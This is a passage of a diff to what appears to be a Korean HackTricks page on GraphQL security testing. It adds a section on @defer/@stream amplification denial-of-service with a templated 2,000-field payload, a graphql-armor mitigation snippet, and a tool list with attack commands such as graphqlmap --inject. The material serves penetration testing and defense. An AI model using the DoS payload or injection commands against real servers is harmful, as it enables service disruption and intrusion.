공격자가 제어하는 **`filePath` URLs**를 허용하여 내부 네트워크 접근 및 파일 쓰기를 가능하게 했습니다. +* 영향: 인증된 편집자/저자는 메타데이터 엔드포인트에 접근하거나 원격 코드 실행을 위한 PHP 파일을 쓸 수 있었습니다. + +--- + +## 점진적 전달 남용: `@defer` / `@stream` +2023년부터 대부분의 주요 서버(Apollo 4, GraphQL-Java 20+, HotChocolate 13)는 GraphQL-over-HTTP WG에서 정의한 **점진적 전달** 지시어를 구현했습니다. 모든 지연된 패치는 **별도의 청크**로 전송되므로 총 응답 크기는 *N + 1* (봉투 + 패치)로 증가합니다. 수천 개의 작은 지연 필드를 포함하는 쿼리는 따라서 큰 응답을 생성하면서 공격자에게는 단 하나의 요청만 소모하게 됩니다 – 고전적인 **증폭 DoS** 및 첫 번째 청크만 검사하는 본문 크기 WAF 규칙을 우회하는 방법입니다. WG 구성원들 스스로 이 위험을 지적했습니다. + +예시 페이로드로 2,000개의 패치를 생성: +```graphql +query abuse { +% for i in range(0,2000): +f{{i}}: __typename @defer +% endfor +} +``` +Mitigation: `@defer/@stream`를 프로덕션에서 비활성화하거나 `max_patches`, 누적 `max_bytes` 및 실행 시간을 강제합니다. **graphql-armor**와 같은 라이브러리는 이미 합리적인 기본값을 강제합니다. + +--- + +## 방어 미들웨어 (2024+) + +| 프로젝트 | 노트 | +|---|---| +| **graphql-armor** | Escape Tech에서 발표한 Node/TypeScript 검증 미들웨어. 쿼리 깊이, 별칭/필드/지시문 수, 토큰 및 비용에 대한 플러그 앤 플레이 제한을 구현하며, Apollo Server, GraphQL Yoga/Envelop, Helix 등과 호환됩니다. | + +빠른 시작: +```ts +import { protect } from '@escape.tech/graphql-armor'; +import { applyMiddleware } from 'graphql-middleware'; + +const protectedSchema = applyMiddleware(schema, ...protect()); +``` +`graphql-armor`는 이제 지나치게 깊거나 복잡하거나 지시문이 많은 쿼리를 차단하여 위의 CVE로부터 보호합니다. + +--- + ## 도구 ### 취약점 스캐너 @@ -553,15 +616,15 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql 엔드포인트의 일반적인 잘못된 구성 테스트 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식 -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트. +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 주어진 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다. - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용 가능하며 공격 자동화: `python3 graphqlmap.py -u http://example.com/graphql --inject` -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**. +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 주어진 유형에 도달하는 다양한 방법을 나열하는 도구**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 또는 파이썬 스크립트. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**Attacker**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다: `python3 inql.py -t http://example.com/graphql -o output.json` - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 경우에도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다. -### 일반적인 취약점을 악용하기 위한 스크립트 +### 일반 취약점을 악용하기 위한 스크립트 - [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): 취약한 graphql 환경에서 서비스 거부 취약점을 악용하기 위한 스크립트 모음. @@ -578,7 +641,7 @@ https://graphql-dashboard.herokuapp.com/ - AutoGraphQL을 설명하는 비디오: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) -## 참고 문헌 +## 참고자료 - [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) @@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/ - [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) +- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8) +- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor) {{#include ../../banners/hacktricks-training.md}}